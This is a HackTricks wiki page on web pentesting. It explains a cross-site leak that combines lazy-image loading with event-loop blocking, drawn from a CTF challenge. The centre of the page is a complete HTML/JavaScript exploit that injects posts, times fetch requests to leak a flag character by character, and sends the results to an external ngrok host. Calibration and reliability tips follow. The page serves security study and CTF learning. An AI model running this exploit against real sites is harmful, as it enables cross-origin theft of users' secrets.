event-loop-blocking-lazy-images.md (11534B)
1 --- 2 title: "Event Loop Blocking + Lazy images" 3 section: "Web Pentesting" 4 sectionSlug: "pentesting-web" 5 sourcePath: "src/pentesting-web/xs-search/event-loop-blocking-+-lazy-images.md" 6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/xs-search/event-loop-blocking-%2B-lazy-images.md" 7 sha: "188de82beb54e70956b2952367a0af91d26758b8" 8 isIndex: false 9 modified: true 10 license: "CC-BY-NC-4.0" 11 --- 12 13 # Event Loop Blocking + Lazy images 14 15 In [**this exploit**](https://gist.github.com/aszx87410/155f8110e667bae3d10a36862870ba45), [**@aszx87410**](https://twitter.com/aszx87410) mixes the **lazy image side channel** technique through a HTML injection with kind of **event loop blocking technique** to leak chars.<sup>[[1]](#references)[[2]](#references)</sup> 16 17 This is a **different exploit for the CTF chall** that was already commented in the following page. take a look for more info about the challenge: 18 19 20 [Connection Pool Example](/hacktricks/pentesting-web/xs-search/connection-pool-example) 21 22 This technique is useful when the attacker can create a **Boolean oracle** based on whether a **lazy-loaded image** is fetched or not, but **cannot** directly observe that request because of CSP, `img-src` restrictions, or `Cache-Control: no-store`. Instead of waiting for an external callback, the exploit converts image loading into a **timing side channel** by making those image requests compete with other requests. 23 24 The idea behind this exploit is:<sup>[[1]](#references)[[2]](#references)</sup> 25 26 - The posts are loaded alphabetically 27 - An **attacker** can **inject** a **post** starting with **"A"**, then some **HTML tag** (like a big **`<canvas`**) will fulfil most of the **screen** and some final **`<img lazy` tags** to load things. 28 - If instead of an "A" the **attacker injects the same post but starting with a "z".** The **post** with the **flag** will appear **first**, then the **injected** **post** will appear with the initial "z" and the **big** **canvas**. Because the post with the flag appeared first, the first canvas will occupy all the screen and the final **`<img lazy`** tags injected **won't be seen** in the screen, so they **won't be loaded**. 29 - Then, **while** the bot is **accessing** the page, the **attacker** will **send fetch requests**. 30 - If the **images** injected in the post are being **loaded**, these **fetch** requests will take **longer**, so the attacker knows that the **post is before the flag** (alphabetically). 31 - If the the **fetch** requests are **fast**, it means that the **post** is **alphabetically** **after** the flag. 32 33 In other words, the oracle is: 34 35 - **State 1**: the attacker-controlled post is within the browser lazy-loading threshold, so `img loading=lazy` requests are issued. 36 - **State 2**: the attacker-controlled post remains outside that threshold, so those requests are not issued. 37 - **Leak**: the attacker measures whether those extra requests create enough contention to delay another measurable operation. 38 39 Let's check the code:<sup>[[1]](#references)</sup> 40 41 ```html 42 <!DOCTYPE html> 43 <html> 44 <!-- 45 The basic idea is to create a post with a lot of images which send request to "/" to block server-side nodejs event loop. 46 If images are loading, the request to "/" is slower, otherwise faster. 47 By using a well-crafted height, we can let note with "A" load image but note with "Z" not load. 48 We can use fetch to measure the request time. 49 --> 50 <body> 51 <button onclick="run()">start</button> 52 53 <!-- Inject post with payload --> 54 <form 55 id="f" 56 action="http://localhost:1234/create" 57 method="POST" 58 target="_blank"> 59 <input id="inp" name="text" value="" /> 60 </form> 61 62 <!-- Remove index --> 63 <form 64 id="f2" 65 action="http://localhost:1234/remove" 66 method="POST" 67 target="_blank"> 68 <input id="inp2" name="index" value="" /> 69 </form> 70 71 <script> 72 let flag = "SEKAI{" 73 const TARGET = "https://safelist.ctf.sekai.team" 74 f.action = TARGET + "/create" 75 f2.action = TARGET + "/remove" 76 77 const sleep = (ms) => new Promise((r) => setTimeout(r, ms)) 78 // Function to leak info to attacker 79 const send = (data) => fetch("http://server.ngrok.io?d=" + data) 80 const charset = "abcdefghijklmnopqrstuvwxyz".split("") 81 82 // start exploit 83 let count = 0 84 setTimeout(async () => { 85 let L = 0 86 let R = charset.length - 1 87 88 // I have omited code here as apparently it wasn't necesary 89 90 // fallback to linerar since I am not familiar with binary search lol 91 for (let i = R; i >= L; i--) { 92 let c = charset[i] 93 send("try_" + flag + c) 94 const found = await testChar(flag + c) 95 if (found) { 96 send("found: " + flag + c) 97 flag += c 98 break 99 } 100 } 101 }, 0) 102 103 async function testChar(str) { 104 return new Promise((resolve) => { 105 /* 106 For 3350, you need to test it on your local to get this number. 107 The basic idea is, if your post starts with "Z", the image should not be loaded because it's under lazy loading threshold 108 If starts with "A", the image should be loaded because it's in the threshold. 109 */ 110 // <canvas height="3350px"> is experimental and allow to show the injected 111 // images when the post injected is the first one but to hide them when 112 // the injected post is after the post with the flag 113 inp.value = 114 str + 115 '<br><canvas height="3350px"></canvas><br>' + 116 Array.from({ length: 20 }) 117 .map((_, i) => `<img loading=lazy src=/?${i}>`) 118 .join("") 119 f.submit() 120 121 setTimeout(() => { 122 run(str, resolve) 123 }, 500) 124 }) 125 } 126 127 async function run(str, resolve) { 128 // Open posts page 5 times 129 for (let i = 1; i <= 5; i++) { 130 window.open(TARGET) 131 } 132 133 let t = 0 134 const round = 30 //Lets time 30 requests 135 setTimeout(async () => { 136 // Send 30 requests and time each 137 for (let i = 0; i < round; i++) { 138 let s = performance.now() 139 await fetch(TARGET + "/?test", { 140 mode: "no-cors", 141 }).catch((err) => 1) 142 let end = performance.now() 143 t += end - s 144 console.log(end - s) 145 } 146 const avg = t / round 147 // Send info about how much time it took 148 send(str + "," + t + "," + "avg:" + avg) 149 150 /* 151 I get this threshold(1000ms) by trying multiple times on remote admin bot 152 for example, A takes 1500ms, Z takes 700ms, so I choose 1000 ms as a threshold 153 */ 154 const isFound = t >= 1000 155 if (isFound) { 156 inp2.value = "0" 157 } else { 158 inp2.value = "1" 159 } 160 161 // remember to delete the post to not break our leak oracle 162 f2.submit() 163 setTimeout(() => { 164 resolve(isFound) 165 }, 200) 166 }, 200) 167 } 168 </script> 169 </body> 170 </html> 171 ``` 172 173 ## Practical caveats 174 175 This trick is **fragile** and needs to be **calibrated per environment**: 176 177 - The **lazy-loading distance threshold** is browser-dependent and can change with browser version, connection type, and headless/headful mode. Chromium loads off-screen images **before** they are visible, so the right `<canvas height>` is usually found empirically. Also note that modern Chromium reduced some native lazy-loading thresholds (for example, roughly `1250px` on 4G and `2500px` on slower links), so older writeups that relied on `3000px+` margins can over-estimate current behavior.<sup>[[3]](#references)[[4]](#references)</sup> 178 - In practice, **headless Chromium** can require a **different threshold** than a normal browser. In the original writeup, a value that worked locally (`1850px`) had to be increased for the remote headless bot (`3350px`).<sup>[[2]](#references)</sup> 179 - Native `loading="lazy"` is only **deferred when JavaScript is enabled**, so this specific oracle can disappear if the browser disables JS or changes lazy-loading behavior for privacy reasons.<sup>[[3]](#references)</sup> 180 - Give the lazy images an explicit **size** (or place them inside a container with deterministic dimensions) while calibrating the oracle. Browsers can treat unspecified images as `0x0`, decide that they already fit in the viewport, and eagerly fetch **all** of them, destroying the signal.<sup>[[4]](#references)</sup> 181 - If the image response is **cacheable**, later probes become noisy or useless because the browser may satisfy the request from cache. This is why cache-busting parameters or `Cache-Control: no-store` matter a lot when testing this technique. 182 183 ## Reliability notes 184 185 Compared to the related [connection pool example](/hacktricks/pentesting-web/xs-search/connection-pool-example), this variant does **not** need an external image callback. It only needs a measurable slowdown. That slowdown can come from: 186 187 - **Server-side event-loop blocking**, such as many image requests hitting a Node.js endpoint that performs synchronous work. 188 - **Socket / connection contention**, where the attacker saturates available connections and times how long an additional request takes. 189 190 To make the oracle more stable: 191 192 - Use **multiple lazy images** instead of one. 193 - Add a **cache-buster** to every image URL. 194 - Measure **several requests** and compare an **average/median** instead of trusting a single sample. 195 - Recalculate the **canvas height threshold** against the same browser family and execution mode used by the victim bot. 196 - If `performance.now()` is too noisy, fall back to another **clock** (`requestAnimationFrame`, `MessageChannel`, or even `PerformanceObserver` watching `longtask` entries) and only classify runs when the slowdown is well above the browser's timer jitter. 197 - The same **visibility-gated fetch** idea can be generalized beyond a plain lazy `<img>`. Recent research shows equivalent Boolean oracles built from nested `<object>` / `<iframe srcdoc>` trees and **responsive images** (`srcset` + `sizes`). If those conditional subresource loads are same-origin or callback-based, they can still be converted into the exact same contention/timing oracle described here.<sup>[[5]](#references)</sup> 198 199 For more timing-based leak primitives, also check: 200 201 [Performance.Now + Force Heavy Task](/hacktricks/pentesting-web/xs-search/performance-now-force-heavy-task) 202 203 > [!WARNING] 204 > Some privacy-focused defenses can break the "load only after a browser-driven scroll/viewport change" assumption. For example, XS-Leaks wiki documents `Document-Policy: force-load-at-top` as a way to disable load-on-scroll behaviors such as Scroll-to-Text navigation, which can also reduce similar viewport-based oracles. 205 206 ## References 207 208 - [1] [SEKAI CTF 2022 "safelist" lazy-image event-loop exploit (gist)](https://gist.github.com/aszx87410/155f8110e667bae3d10a36862870ba45) 209 - [2] [SekaiCTF 2022 - safelist (XS-Leak) writeup](https://blog.huli.tw/2022/10/05/en/sekaictf2022-safelist-xsleak/) 210 - [3] [MDN: `<img>` element reference](https://developer.mozilla.org/en-US/docs/Web/HTML/Reference/Elements/img) 211 - [4] [web.dev: Browser-level image lazy loading](https://web.dev/articles/browser-level-image-lazy-loading) 212 - [5] [From XS-Leaks to SS-Leaks](https://infosec.zeyu2001.com/2023/from-xs-leaks-to-ss-leaks)